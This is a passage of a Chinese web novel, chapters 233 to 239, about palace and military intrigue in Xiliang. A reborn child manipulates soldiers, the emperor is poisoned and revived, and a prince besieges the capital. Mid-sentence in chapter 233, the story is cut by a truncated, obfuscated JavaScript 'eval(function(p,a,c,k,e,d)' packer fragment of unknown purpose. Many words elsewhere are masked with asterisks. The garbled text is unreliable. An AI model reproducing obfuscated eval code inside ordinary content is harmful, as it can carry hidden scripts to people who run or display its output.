但凡突然冒出来的人都会改变当前局势,他已经早就看透了,比如小张氏,小囡囡,这些人都改变了本来的轨迹,难道这个耶律洪基也跟温令仪有关系? 这个想法吓得他一身冷汗。 他突然觉得自己的命运已经完全不受控了,甚至有了一种遭报应的感觉。 殊不知,他的生母叶染秋从发现温令仪变了开始,一直到死的时候都有这样的感觉,而事实上死的很符合她的感觉。 “你说!”耶律安抬头看着晏明昭。 这个时候哪里还有一丝一毫洒脱模样,整个人像是利刃出鞘,不争不抢?笑话,这会儿都有了人挡**,佛挡杀佛的气势了。 晏明昭摇头:“不知道说什么。” “不知道说什么?你不是说自己是重生之人,知道未来的所有事情吗?现在就不知道了?”耶律安走过来,伸出手抓住了晏明昭的领口:“你算计我!” “您高看我了,我怎么敢算计您,我是想要攀高枝,自保,也想要荣华富贵,择个明主。”晏明昭两只手扒着耶律安的手臂,整个身体都像是挂在耶律安的手臂上了似的。 耶律安神色阴冷:“我能摔死你!” “我能拿到晏家的兵权,我会忠诚于你,”晏明昭说:“雁门关的人,都是你的人,你足以和海蓝一族抗衡,权利不都是染血的吗?皇座之下那个不是累累白骨,况且您有底牌。” 耶律安微微眯起眼睛,显然在权衡利弊。 晏明昭索性把心一横:“若是当今皇上驾崩,您的密旨在手,那些人就是谋权篡位之人,发兵也是情理之中,师出有名,得民心者得天下,你的手里还有巫医族。” 耶律安冷笑:“你倒是很了解我啊?到现在你还想要利用我啊?” 第233章 晏怀卿怎么也没想到自己的结局 晏明昭摇头:“我哪里敢利用您,是我所知道的未来就是如此,您会成为西凉的皇帝,但我前世没来到过西凉,并不知道都发生了什么,就目前情况看,唯有皇上驾崩,才能新君继位,您若错失良机,拿到和去抢,所需要的过程是不一样的。” 耶律安淡漠的扫了眼晏明昭,这个道理自己不懂吗? 只不过晏明昭的能耐自己可没看出来,到了雁门关才知道晏怀卿调了旧部,跟西凉的将士们分开后,直接进山了。 在晏怀卿没有来雁门关的时候,晏家这些旧部就是占山为王的山匪,一旦进山就犹如猛虎归林,别说拉拢或蚕食,就是见都见不到。 “若你能拉晏家军出山,本宫封你为平南大将军。”耶律安说。 晏明昭立刻单膝跪地:“请吾皇差人送我去晏家军所在的山中。” 耶律安立刻让人送他离开。 不单单是为了拉拢晏家军,更多的是担心晏明昭暗中使坏,如今他需要把神女山里的将士们调遣出来,秘密的往燕京城去,燕京城那边的人该动手了,他尊贵的父皇要尽早去地底下给母亲赔罪! 雁门关附近群山为险,晏家旧部占山为王的上头叫鹰嘴崖。 盘山路往上一路到半山腰,就是晏怀卿暂时容身之地,他逃回雁门关便带着自己的人退走了,留下了群龙无首的西凉军,不知道怎么走漏了风声,罗政率领大夏将士们多次攻打雁门关,据说西凉损失惨重,不过也不知罗政怎么想的,似是没有要抢回雁门关的打算,每次打了胜仗都收兵退走。 晏怀卿把最后一粒解药服下后,已经过去三日了,这三日生不如死,每天都在无法言说的痛苦中死去活来,能勉强支撑着露面,都是为了能握住手里这点儿筹码,在感受到死亡威胁的时候,他这辈子就从来没有过如此强烈的、想要活下去的感觉。 晏明昭找到这里的时候,看到晏怀卿枯瘦到皮包骨,双目凸出,赤红的眼白的模样,竟有一种这也是很快就会死掉了的人。 “父亲。”晏明昭跑过来,眼泪汪汪的跪倒在晏怀卿面前:“您受苦了,儿子回来了,带来了好消息。” 晏怀卿笑了,那笑声都飘忽,身体极度虚弱,说话都上气不接下气,俯首看着晏明昭:“你的话,鬼都不信!” “大皇子耶律安来雁门关了。”晏明昭跪行两步到晏怀卿脚边:“燕京城里的天变了,大皇子有密旨,一旦西凉皇帝驾崩,大皇子即刻登基。” 晏怀卿的笑容凝在了脸上,突然问了句:“温令仪还在燕京吗?” 这下反倒把晏明昭给问蒙了,他不敢相信的看着晏怀卿:“父亲,温令仪怎么会还留在燕京?您走了之后,她必定会逃之夭夭啊。” “跑了?她会跑了吗?”晏怀卿摇头,温令仪肯定不会跑的,她跟萧玄策都能勾结到一起,哪里会轻易的逃走? 只是,大夏的皇帝还被蒙在鼓里,还以为叛国的只有晏家,猪脑子的永元帝活该丢了江山,温家早就叛国了,还有那个裴祈安,必定是早就和温家联手了。 自己像是个跳梁小丑,在京城里就是这般,到了雁门关更沦落成了挡箭牌,真是可笑啊。 要不是自己率领西凉的将士们破了雁门关,打到了泾河府,怎么会断掉了退路?当初为何从泾河府撤回了雁门关? 他只觉得自己脑子里乱哄哄的,很多事情都模糊了。 抬起手,两只手抱着头摇晃了好几下。 晏明昭眼看着父亲额角的青筋都凸起来了,像是要破开皮肉似的,赶紧**了几步:“父亲,是不是温令仪给您下毒了?” “是啊!是啊!温令仪给我下毒了!”晏怀卿面露狰狞的站起身,发疯了一般嘶吼着,恶狠狠的盯着晏明昭:“你们这些讨债鬼!都是来害我的!都是来害我的!你那个不要脸的娘,还有你这个认贼作父的孽子跟温令仪没什么两样,都来害我!都来害我啊!” 晏明昭吓得步步**,眼看着晏怀卿甩掉了束发冠,披头散发的到处乱跑,用头往墙上撞,额头染血都根本感觉不到疼似的,这样的父亲还有什么用? “父亲,我去找人来就您。”晏明昭喊了这么一句,扭头撒腿就跑,他怕晏怀卿抓住自己,自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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晏明昭抬起满是眼泪的小脸,看着眼前的赵诚,四十出头的年纪,浓眉豹眼,心里电光火石一瞬间便想起来了,这人上一世看到温慕阳自尽,当晚悄悄带着手底下的兄弟离开了自己,后来任凭自己怎么去拜访,都不肯再出山。 天助我也! 晏明昭心里狂喜,走过来扑通就给赵诚跪下了:“赵伯伯,我父来不及对众位说明,他忍辱负重,可怜啊!” 赵诚心头一惊:“何出此言?” 第234章 我们可不是吃素的! 赵诚看着晏明昭,心情极为复杂,伸出手把他扶起来:“仔细说来听听。” 晏明昭哽咽着:“我父是诈降啊。” 此话一出,屋子里的人是都愣住了。 赵诚给手底下的人使了个眼色,抱起来晏明昭往外走去,来到旁边的院子,让人送进来吃喝,等晏明昭平静下来,才让所有人退下,问:“少主都知道什么?” 晏明昭擦了擦眼角的泪痕:“我并非是父亲和温家女所生,我的生母是父亲的心上人叶染秋。” 这件事赵诚是有耳闻的,只是事关后宅,他只觉得晏怀卿是糊涂的,放着镇国公府的嫡女不要,竟跟别人厮混,若是个能担得起秦国公府的人,如今必定和温家站在一处,到那时候,求何不得? “我父早就知道温家和裴祈安有反叛之心,温令仪更是勾结了萧玄策,其中很多事一时半刻说不清,但赵伯伯,裴祈安往西域三十六国时,江湖门派齐齐出动,助萧玄策一统西域三十六国后全身而退,若不是有极大地好处,能吗?”晏明昭说。 这话,赵诚连连点头。 “我祖父早就断言,温家和裴家必定会叛国,父亲忍辱负重投靠西凉,实则是为了止战于国门之外,让大夏百姓免于战祸,若不然不能从泾河府撤回雁门关。”晏明昭说。 赵诚信了,十分相信,他怎么也不可能怀疑一个三岁的孩子,有如此心智又能巧舌如簧。 “本来我父还想要劝说温家切不可一意孤行,陷百姓于苦难之中,可他们非但不听,还让温令仪给我父下毒,我父无奈之下逃走,就连我都顾不上了。”晏明昭说到这里又哭了。 赵诚蹙眉:“少主如何脱身的?” “不是脱身。”晏明昭说:“我一直都在西凉大皇子耶律安身边,是质子,因为晏家只有我这一点儿血脉,唯有如此才能让他相信我父是真心实意帮他,只是我父低估了耶律安,他竟然把神秘的巫医族都收入麾下了,燕京城里乱成了一锅粥,耶律安带着西凉皇帝的遗诏来到雁门关收兵权,虽然我父**,但是他的计划成功了,西凉即将陷入内乱,无暇顾忌大夏这边了。” 赵诚深吸一口气,这话挑不出毛病,可信度很高,耶律齐死后,耶律安趁机**,这是不管在任何一个国家都会出现的夺嫡局面。 并且晏怀卿所作所为都跟晏明昭说的过程吻合,原来是错怪了晏家。 可是如今该怎么办呢? 看这么小的孩子,赵诚只能叹一声可怜,沉吟片刻才说:“少主,可想过往后该怎么走?” “我虽年幼,但父亲对我给予厚望,不然也不会把这些告诉我,如今父亲不在了,可我依旧要完成他没有完成的事,赵伯伯,我要带着你们去耶律安跟前,取得他信任,兵不血刃夺回雁门关,等他回去**的时候,我们可以趁机立功,让朝廷知道我晏家并非投敌叛国的人,是忠臣。”晏明昭双目炯炯,两只手握着拳头,颇有些视死如归的气势。 赵诚起身:“好,那就让我们再为大夏百姓做点儿事吧。” 这话,听着轻飘飘的。 可对于晏明昭来说,除了狂喜再无其他,他就说自己重生归来,怎么能如此倒霉,现在看来还是因为太小了,时机不对。 不过,只要自己运筹得当,所求还是会如愿的。 晏明昭没有着急离开,而是在赵诚的操持下为晏怀卿收殓下葬。 这鹰嘴崖里,住着这些人的家眷。 晏明昭带着赵诚这些人离开的时候,对着送别的老弱妇孺跪下磕了三个头,这一举动让赵诚和这些人都有了誓死保护少主的念头了。 哪里知道,这不过是晏明昭收买人心的手段罢了。 当耶律安看着晏明昭被众星捧月般的护送到雁门关的时候,心里对晏明昭的看法略有改变,在这个时候,谁手里有兵,谁就是可用之人,更不说晏明昭虽然年纪小,但重生之人对行军作战必定在行,可以派上大用场。 为表示自己对晏家军的礼遇,晏明昭住进了将军府。 晏明昭再次来到将军府,看着院子里熟悉的一切,死死地压住心里的得意,晏家军的军心不散,自己就大有可为,想当初自己刚来雁门关的时候何等卑微?如今成了这座府邸的主人,成了晏家军的少主,简直跟做梦一样。 一切都交给赵诚安排,当晚,晏明昭跪在赵诚跟前:“赵伯伯,如今明昭再无仰仗,唯有祖宗的福德庇护,可我到底是个孩子,什么都不懂,想要认赵伯伯为义父,请赵伯伯收下明昭,等明 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赵诚如获至宝,更是对晏明昭疼爱有加,非但带着练兵,还会逐字逐句的教他兵书上的阵法,惊喜的发现晏明昭是天生的将帅之才,一点就透,更欣喜若狂。 就在晏明昭努力学习兵法,操练晏家军的时候,耶律安的人行刺西凉皇帝得手,西凉皇帝驾崩的消息传来,赵诚一把握住了晏明昭的手:“这是开始了?” “义父稍安勿躁,我们不用动,等耶律安来求我们。”晏明昭说。 赵诚笑了,慈爱的顺了顺晏明昭的后背:“少主放心,我们可不是吃素的!” 西凉皇宫的凤仪宫里,温令仪额头都是冷汗,银针一根根刺入西凉皇帝的穴位里,抬头看了眼西凉皇后。 西凉皇后微微点头,温令仪最后一针没有用,而是起身走出来了。 “为何停下来?”西凉皇后出门,压低声音问。 温令仪回头看了眼:“最后一针下去,人一定会苏醒过来,寿命不过七日之数,还有之前用的药也到了最后关头,会发狂,所以要等一等。” 西凉皇后抬眸看着血色夕阳,等一等,也好!事急从缓嘛。 第235章 大国师下山 西凉皇帝**,生死不知。 朝中动荡之下,群臣只能跪在凤仪宫外,请求皇后出面主持大局,毕竟唯有皇后所出的六皇子有了子嗣,虽然那皇孙才四个多月,怎么也是皇族的血脉延续。 当然,这其中有着海蓝一族的关系,甚至绝大多数都因为海蓝一族,强大的家族注定在这场夺嫡之战中胜出,因皇后手里已经有了底牌。 凤仪宫的大门紧闭,朝臣跪拜并没有让皇后走出来。 有人提议去请大国师。 大国师从不临朝,概因巫医族还在的时候,大祭司的权利比皇权还要高,君权神授,大祭司就是神在人间的侍者,自从巫医族被清除后,大祭司这个职位就改成了大国师,形同大夏的钦天监监正,不过权利是很玄妙的,大国师只听从皇上的差遣,余下任何人都见不到他,极为神秘。 “此时,确实该请大国师出面。”有人附和。 如此,这些朝臣又往大国师住着的神庙来。 神庙距离皇宫有十里之遥,并且神庙建在半山腰,这座山叫圣山,从神庙往山常年积雪,白雪皑皑,山脚下四季花开,这样神异的山,只有西凉有,且西凉也只有这么一座山,所以叫圣山。 群臣为了表达此刻的心情,极其前程的步行登上,天阶两边的石栏刺骨冰寒,原来不知不觉,草原的冬天已经来了,特别是今年的冬天,冷的厉害。 神庙的大门敞开着,群臣面面相觑,毕竟从神庙再次启用开始,这扇大门就没有打开过。 如今站在神庙大门外,这些人反而不敢进去了。 谁都不知道神庙里到底什么样子,巫医族的传说已经久远了,但有一件事代代相传,人尽皆知,那就是巫医族的人都死在了神庙里。 大国师出现的次数屈指可数,每次出现都是黑色的斗篷,苍白的脸色掩藏在兜帽中,没人见过真容。 越是神秘,越是在此刻让人心生恐怖。 众人想要找到主心骨的时候,才发现海蓝嘉善并不曾出现过,从皇上**,朝臣想要请皇后出面主持朝政开始,海蓝嘉善就没有露过面。 “这如何是好?” 众人交头接耳,眼看着天色已晚,进不进去都没有商量好。 脚步声不轻不重,但摄人心魄,像空谷足音,每个人都听到了。 不约而同的看向神庙敞开的大门,当象征着神权的权杖出现,连握着权杖得手,黑的长袍大袖,都让这些人忍不住想要跪拜,斜阳如血的时候,大国师站在了神庙门前,身后的大门缓缓地关闭,那关上的神庙大门发出来很沉重的摩擦声,这摩擦声更让这些人胆寒,谁都知道神庙里只有大国师一个人,这么厚重的大门,竟自动关闭了。 “你们,随我下山吧。”黑袍里的人依旧看不清容貌,但能看到苍白尖削的下巴,声音并不苍老,透着怪异的沉稳,以至于这些人都没有一点儿反抗的心思,跟在大国师的身后下山。 下山的路,比上山更难,可前头那脚步轻松,整个人都极为轻盈的大国师似乎没有意识到这些养尊处优的朝臣,早就累得气喘如牛了。 天完全黑下来的时候,天空飘起了雪,这是西凉今年的第一场雪。 山脚下,大国师回头看了眼天阶上的人,迈步往燕京城去。 燕京城里。 温令仪站在窗前,看着飘飘洒洒落下的雪花,紫貂斗篷陪在身上的时候,她出声:“那个大国师是谁的人?” “耶律安的人。”裴祈安温柔的帮温令仪系上带子:“不过,现在是谁的人,显而易见。” 温令仪抬眸看裴祈安:“你暗中出手了吗?” 裴祈安看着温令仪的眸子,他十分喜欢这样的感觉,在温令仪的眸子里,有两个小小的自己,她的眼里都是自己。 “别低估了海蓝家族的能耐,如果大国师出了神庙,那走出来的人就一定是海蓝家族安排的人,我们虽然能出手相助,但永远不会走到人前,甚至都不能留下任何把柄的。”裴祈安伸出手把温令仪拥入怀中,两个人一起看落雪,外面的灯笼十分明亮,雪花飘落下来的样子看得清晰。 温令仪靠在裴祈安的怀里:“是啊,不然我们就很难全身而退。” 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这些臣工一个个好不容易回到了燕京城外,发现大国师就坐在城门前,盘膝而坐,落雪满身,权杖立在他旁边。 这些人都来到大国师身后,有人仗着胆子上前:“大国师,为何不入城。” “不急。”大国师盘膝坐着,纹丝未动,根本就没有立刻入城的意思。 这位不进城,他们就只能陪着,一个个缩在马车里瑟瑟发抖,又累又困还不敢睡,熬得心里油煎火燎,别提多痛苦了,可有什么办法?国不可一日无君,如今他们群龙无首,不得不耐下性子忍着。 天,亮了。 这些大臣昏昏欲睡的时候,坐在雪地里,像是雪人一般的大国师缓缓起身,手握住了权杖,权杖上的金铃响声清脆,众人看着大国师一步步走向城门,城门缓缓打开的时候,大国师的身影在白茫茫的世界里,显得孤寂也挺拔。 凤仪宫门前,大国师昂首挺胸,手里的权杖一震,那铃声可就不是清脆了,竟然有洪钟大吕一般的声音:“东方文和,拜见皇后娘娘。” 第236章 文和临朝,兵临城下 凤仪宫的门,缓缓打开,皇后容色憔悴的出现,走到大国师面前,微微垂首行礼:“国师,皇上如今情况十分不乐观,请随本宫进来,或许能有回天之力。” 大国师颔首还礼:“让朝臣同往。” “可。”皇后坦坦荡荡的让开。 众朝臣跟在大国师之后,缓步进了凤仪宫。 凤仪宫大殿里,朝臣看着躺在床榻上的皇上,双目紧闭,脸色发青,整个人都脱相了。 大国师走过去,单膝跪在地上,试了试皇上的鼻息,确实还活着,可是这活着的人,比**也强不到哪里去。 诊脉的时候,大国师眉头微蹙,这表情唯有坐在对面的皇后看得清楚。 良久,大国师转过头看着朝臣:“陛下虽**,但陛下乃神子,心脉未曾受损,可所中之毒不解,若强行唤醒,后果不可预估。” 众朝臣一个个都累得头晕脑胀的,听到这话都没主意,当然了,就是心里有想法也得憋着,谁敢担这样的责任? 皇后见这些人都不坑声,轻轻地叹了口气:“国师,可否请来药族的高人,救皇上于危难之中?” “皇后怎知这毒不是药族的手笔呢?当年神庙里的那一场浩劫,是巫医族要永世铭刻的仇恨,只是大皇子为何要招惹他们呢?”大国师说。 朝臣这才恍然,哪怕大国师没有明说,但谁是傻子啊? 本来又累又困的朝臣都激灵灵打了个冷颤,再看躺在榻上的皇上,都同情的很。 “国师,请皇后临朝吧。”朝臣可没忘记最开始请大国师下山的初衷。 大国师看向了西凉皇后。 皇后起身,跪在大国师面前:“神侍,信女不能临朝,自古以来就没有女子临朝的先例,就算此事跟耶律安有关系,可也是猜测,未必是真。” “皇后娘娘。”朝臣给皇后跪下了:“平南王有子嗣血脉,您要为平南王的子嗣守住西凉的江山呐。” 大国师说:“请皇后娘娘把小皇孙抱来。” 皇后起身,片刻就亲自抱着小婴儿进来。 大国师接过去小婴儿,抱在怀里低头看了片刻,起身把小婴儿放在皇上的身边,单膝跪地:“西凉皇族血脉不绝,东方文和就会护西凉安宁,请天神见证,东方文和与小皇孙结契,从此以后,东方文和是小皇孙的仆从。” 皇后听到这话,震惊的脸色发白。 她知道大国师是耶律安的**,何为**?就是会护着耶律安一辈子的人。 可要给小皇孙当仆从! 难道他也认定了自己的孙儿会成为西凉的未来之君吗? 心里这么想,忍不住仔细打量这位不怎么露面的大国师,恰好看到他手腕上有梅花印记。 梅花? 这下,皇后全明白了,这位那里是大国师?分明是海蓝家族的人。 海蓝家族从掌握大权后,一直都没有断了寻找巫医族,其中找到了一些跟巫医族有关系的人,这些人真心归顺后,都会在手腕三寸处,刺上梅花印记。 就算是她,也没见过真正能把梅花印记刺在手腕三寸处的人,这等秘密是在自己入宫时候,祖母亲口告诉她的,身处绝境,带着梅花印记的人会救她。 怪不得海蓝嘉善不曾露面,原来是在暗中布局。 福至心灵,皇后走到大国师跟前:“国师,请您临朝监国。” 这让所有朝臣都懵了的决定来得太突然,国师监国?接下来会怎么样?大皇子不知道接下来会作甚,这位小皇孙才四个多月,难道皇后不知道这样的安排,极有可能是把西凉国拱手让人了吗? 大国师沉吟良久,就在所有朝臣都心乱如麻,又急不可耐的时候,说了句:“好。” 这就答应了? 皇后倒是干脆利索,下了懿旨,大国师东方文和乃国之柱石,如今危难之际,大国师挺身而出,唯盼力挽狂澜。 这懿旨刚下。 城门守卫来报:“报!大军兵临城下,大皇子有传位诏书。” 东方文和接了皇后懿旨,起身擎着懿旨往外去:“众臣随文和往大殿议事。” 皇后目送这些人离开,回身抱着小皇孙离开,吩咐白音照顾好皇上。 至于怎么照顾,白音是最懂皇后的人,当然不用多说。 而皇后趁机开始清理后宫。 消息同样传到了裴祈安这里,裴祈安正在跟温令仪下棋。 温令仪落下一 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“是勾起往事了吗?”裴祈安目光灼灼的盯着温令仪,明知道温令仪对晏怀卿是半点情分也没有,可看她为了晏怀卿失神,还是心里会难受呢。 温令仪点了点头:“没想到,竟然会如此短寿。” “阿宁,你觉得晏明昭会做什么?”裴祈安不想温令仪再费一丝一毫心思在晏怀卿身上,岔开了话儿。 温令仪抿了口茶:“会给晏怀卿立牌坊,会说晏怀卿并非叛国投敌,而是忍辱负重,止战与过门之外。” “那他会再观望的,除非耶律安败了。”裴祈安落下一子。 温令仪叹了口气:“我又输了。” 裴祈安笑着牵起温令仪的手:“我们在这里做完最后一件事,就离开,回去漠北静观其变,到时候再请教阿宁。” “你啊。”温令仪倒也没揭穿裴祈安的安抚,只是最后一件事什么时候做,自己也等的有些着急了呢。 裴祈安往外看了一眼,战鼓声音隐隐约约:“耶律安是个有本事的,等等看。” 此时。 大国师东方文和立在城墙之上,手里的权杖让人一眼就能认出来,他气沉丹田:“皇上还在,尔等是要谋反不成?耶律安呢?” 第237章 西凉皇帝醒了 耶律安坐在最后面的战车里,他看不清楚东方文和,但那一身标致性的黑袍,大国师竟然都从神庙出来了,这让耶律安有些诧异,毕竟在他看来,能让大国师从神庙出来的人,唯有自己,京城里的情形,他是知道的,但并不相信皇上没死,认为是皇后和海蓝一族用了障眼法。 耶律齐已经**,随便找个女人,带个孩子,冒充是耶律齐的血脉,只要皇后认,这事儿连翻转的机会都没有,这样的伎俩谁看不出来?不过是很难找到揭露真相的证据罢了。 而他确实在查,时间太短,连这个女人身份的蛛丝马迹都没有,无从下手。 越是完美,越证明是假的。 他没有工夫浪费在这上面,只要全部杀掉,不留后患,自己就可以高枕无忧。 “大殿下,国师说皇上还活着。” 前面差人过来送信儿。 耶律安看了眼身边的格日勒。 格日勒一改往日的装扮,白色绣五色丝线的长袍,头上戴着花冠,白纱遮面,手里有一个金色的权杖,这权杖便是巫医族的象征。 “我可以入宫去为皇上治病,祈福。”格日勒说。 耶律安立刻摇头:“绝不可以,怎么能让你去冒险,如今不用管,只要不相信,我们就有足够的理由攻破城门。” 格日勒轻轻地握住了耶律安的手:“听夫君的。” 她从跟耶律安相识那天开始,目的就是为了能让巫医族重见天日,甚至重回祖辈的荣光,神庙里的血流成河是每一个巫医族人永远不能忘记的痛,更是不能不报的仇恨。 权利,是血和累累白骨堆砌出来的,她比任何人都明白,因手握大权的人,就握住了别人的生死。 曾经的巫医族生死都在别人手里,以后的巫医族要掌握别人的生死。 若说意外,耶律安的真心是意外,自己爱上了耶律安也是意外,不过这并不妨碍她达成自己的目的,并且辅佐耶律安成为皇帝,那么以后自己的孩子就会成为国君,对巫医族来说,那才是最好的结果。 耶律安对这位同床共枕多年的妻子,如今多了敬畏,他觉得自己之前被蒙在鼓里的日子,如有神助一般对格日勒极好。 其实,他不在乎女人,但在乎外人的评价,娶格日勒就是给所有人看的,让所有人都觉得他没有野心,对格日勒情深义重,目的也是如此,这边是无心栽柳柳成荫,老天都在成全自己! “攻城!”耶律安下达命令:“除非父皇亲自露面,妖后祸国殃民,群臣助纣为虐,海蓝一族把持朝政,外戚干政,身为西凉天家正统,必须清君侧!” 消息传到了大国师的耳中,东方文和冷哼一声,举起权杖:“迎敌!大皇子野心勃勃,兴兵而来霍乱朝纲,人人得而诛之!” 没有任何多余的废话,耶律安的兵马攻城,东方文和率兵马护城。 城中百姓都不敢出门,惶惶不安。 温令仪和裴祈安倒是安宁,二人足不出户,下棋、品茶。 “要等几日了。”温令仪抿了口茶:“皇后一定会趁机削弱兵力,不管是耶律安的,还是皇城内的。” 裴祈安笑望着温令仪:“你也开始钻研兵法谋略了吗?” “到也不需要钻研,海蓝一族是文臣,手里的兵马能有多少?不趁机削弱两方兵力,到最后收场的时候怕横生枝节。”温令仪放下茶盏:“皇后当日不肯让皇帝醒来,其实就是这么想的,等耶律安看到他的父皇活着,甚至发疯了一般和他对阵,到时候耶律安的路就走绝了。” 裴祈安给温令仪续茶:“耶律安到底是太心急了,手里有巫医族,单枪匹马入京,兵马埋伏在外,让巫医族的人出手,他的父皇未必就不会醒来,这个时候,谁能你让皇上醒来,谁就是忠臣,至于什么诏书,能有什么用呢?” “皇后还会让刺杀皇上的事,落在耶律安头上。”温令仪说。 裴祈安笑了:“本来就是他做的,海蓝一族的人手里有了铁证后,皇上也就该醒了。” 百姓不敢出门,官员都噤若寒蝉,可大国师的命令是一 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温令仪走过去,先诊脉,取出来药丸让白音用温水化开,皇后一个字都没问,只是盯着温令仪手里的银针。 银针刺破檀中穴,温令仪提了提针,三次后取出来银针,吩咐人扶着西凉皇帝,让他的身体保持侧身位,绕道后面一针下去,西凉皇帝猛地张开嘴,一大口黑红还极为腥臭的血吐出来,人也睁开了眼睛。 “皇上。”皇后满脸泪痕的跪在床边,用帕子给西凉皇帝擦嘴:“您可算醒过来了,呜呜呜,再不醒来,西凉休矣。” 西凉皇帝也没想到自己能醒过来,看着面前几乎都认不出来的皇后,声音沙哑:“佛尔果春?” “皇上。”皇后愕然的瞪大了眼睛,这一刻的担忧丝毫不假,她是真害怕皇上不认得自己了,那可就麻烦了。 “皇后娘娘无需担心,毒血已经吐出来了,皇上是因**的原因,暂时还没有那么清明。”温令仪立刻说。 突然听到有人用大夏官话,西凉皇帝抬眸看温令仪:“你是谁?” 第238章 还活着,你失望了吧? 温令仪躬身行礼:“皇上,我乃大夏药王谷传人,被掳来为您解毒,您如今醒来,皇后娘娘也该兑现承诺,放了我药王谷的众人了。” 皇后心里头那叫一个舒坦,什么叫聪明人?这便是。 不管什么情况,都能应对自如,简直比自己提前预想的好很多。 本来是想要和温令仪商量的,裴祈安说不用,甚至阻拦,不让皇后和海蓝家族的任何人接近温令仪,皇后原以为是裴祈安护犊子,如今看来,确实接触多了容易被人盯上。 西凉皇帝看皇后。 皇后擦了擦眼泪:“臣妾也是没有办法了,才会让那边的人动手,抓了药王谷的那些人做人质,让他们出手救皇上。” 西凉皇帝伸出手,轻轻地拍了拍皇后的手臂。 皇后趁机把化开的药丸端过来:“皇上,药王谷的人说是九转金丹,能让人延年益寿。” “不必。”西凉皇帝拒绝,他现在谁都不信! 暗暗的调动内力查看周身情况,倒是没有什么阻碍,只是浑身无力,如今只怕都提不起宝剑了。 皇后又红了眼眶:“大皇子不知道从哪里调动了十万大军围在城外,攻城七日七夜,说皇上已经殡天,要入城,还说手里有传位昭书。” “嗯?”西凉皇帝微微蹙眉:“何人率军镇守?” 心里却明白,一定是海蓝嘉善,毕竟这个时候,耶律安一旦入城,拿出来自己的诏书,就可以名正言顺的登基,到时候要死的不止是眼前的皇后,还有海蓝一族。 “群臣为了皇上,为了西凉江山,一起登上了圣山,神庙大门敞开,大国师亲自下山监国,如今大国师率领将士们在护城。”皇后说。 西凉皇帝一下愣住了,怎么不是海蓝嘉善? “海蓝嘉善呢?”西凉皇帝问。 皇后低头落泪。 “为了确保药王谷不会趁机谋害皇上,海蓝嘉善为皇上试毒,如今还在昏迷中。”温令仪说到这里,看了眼皇后:“皇后娘娘应该知道,药王谷能救皇上,便能杀掉海蓝嘉善,甚至是海蓝一族,鸡犬不留,难道还不放我离开吗?” 西凉皇帝这下可吃惊不小,盯着皇后:“是真的?” 皇后倒是也没什么顾虑,点头,只是轻轻地点头。 西凉皇帝撑着身子坐起来,暗暗磨牙,端起来药碗一饮而尽,他到底是错怪海蓝嘉善了。 “皇上,这九转金丹只有一颗,您如今只需要休息一夜,就可以行动自如,但海蓝嘉善能不能醒来,尚且未知。”温令仪说。 就在温令仪说海蓝嘉善的时候,裴祈安已经悄悄离开了,并且很快出现在了海蓝嘉善的书房。 西凉皇帝眼神阴冷的看着温令仪:“你找死吗?” “何来找死一说?若我真不想活了,杀一个海蓝嘉善有什么用?若西凉没了皇上,乱成一锅粥,对我大夏更为有利。”温令仪神色淡然:“只不过,在医言医,在我眼里只有病人,没有身份,只是不屑于皇后这般做派,我药王谷里都是寻常百姓,但那也都是人命。” 西凉皇帝似心里五味杂陈,皇后能为自己做出这样的事,他竟在给耶律安的密旨里说了那样的话,若是耶律安真把密旨公之于众,只怕海蓝一族都会离开,更不用说佛尔果春了。 “你休要多言,本宫的兄长自会度过这一劫,就算不能,一命换一命,那换回来的是西凉的江山。”皇后说罢,沉声:“送她出宫,好好看管!” “佛尔果春!你竟出尔反尔!”温令仪怒了。 可没有什么用,几个壮硕的嬷嬷进来直接抓了温令仪出去,塞进了马车送出宫去。 温令仪回到自己的院子,见裴祈安立在廊下,快步上前:“还有事要做。” “海蓝嘉善昏迷不醒,海蓝一族男丁都去城门死守,女眷都在府里准备孝衣。”裴祈安说。 温令仪抬眸看裴祈安狡黠的眼神儿,噗嗤笑了,牵着他的手进了屋。 宫里。 西凉皇帝已盘膝打坐,身体确实愈发有力气了,让自己的暗卫去查,果然和温令仪所说的一模一样。 坐在御书房的龙榻上,西凉皇帝神色凝重。 “皇上,海蓝一族的男丁都去了城门,誓死守城,女眷在做孝衣,同时我们的人一直都在查当晚刺杀的人,结果种种证据表明,那 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还异议个什么呢?一朝天子一朝臣,耶律安要真武取皇位,他们在场的人都得死,所以这个时候别说让一个四个月的婴儿登基,就是让那个五岁的女娃娃登基,他们也必定拥护。 西凉皇帝话音落下,皇后抱着襁褓里的耶律致远走了出来。 “过来,坐在这里。”西凉皇帝让皇后抱着耶律致远坐在龙椅上,他起身,语气温柔了许多:“佛尔果春,你就抱着致远坐在这里,等朕的消息。” 皇后抬眸,眼里含泪:“皇上,务必平安。” 西凉皇帝点了点头,阔步走出大殿,翻身上马,直奔城门。 为何如此,概因燕京城内,不足五万兵力,这七日死伤不少,可耶律安的兵马越打越多,各个族群都派兵支持耶律安,这让西凉皇帝也有些绝望的。 登上城楼,西凉皇帝看着眼前的满目疮痍,手里的长剑指着耶律安的方向:“逆子!朕还活着,你失望了吧?” 第239章 你害怕我们打起来吗? 耶律安怎么也没想到这才几天,父皇竟然就生龙活虎了,有那么一瞬间,他觉得自己被骗了,被手底下的人骗了,根本就没有刺杀成功,还给了父皇将计就计的机会。 如今到了这个程度,如何收场? “夫君,据说很多皇帝都会养替身。”格日勒淡淡的扫了一眼耶律安,见他动摇,说了这么一句。 耶律安心领神会,偏头看着格日勒:“你的意思是不管是谁,一律不认。” “如今,两军对垒,结局必定是成王败寇。”格日勒轻轻地叹了口气:“若此时放下手里的剑,那就跟双手奉上人头没有区别,明显优势在夫君这边,困死这些人不过是早晚得事,更不用说我们的人马会越聚越多。” 耶律安那刚刚动摇的心思顿时坚定了起来,开弓没有回头箭,自己也不是不懂得这个道理,只是猛然见到了父皇出现,有些惧意罢了。 抬手拿过来长弓,取出翎羽箭,站在战车上对准城墙上的西凉皇帝,满弓如月,翎羽箭带着破风的声音急速冲过去,这边是耶律安的回答。 三箭齐发后,耶律安气沉丹田:“佛尔果春!竟然用替身混淆视听,父皇临别之际已和我说明,若有不测,便是海蓝一族谋逆,真以为我是个蠢人?” 这声音,在场的人都能听到。 不认? 西凉皇帝本就怒急,听到这话一口血喷了出来,旁边的大国师东方文和看过来,从袖袋里取出来个瓷瓶:“神庙留下来的续命丹。” 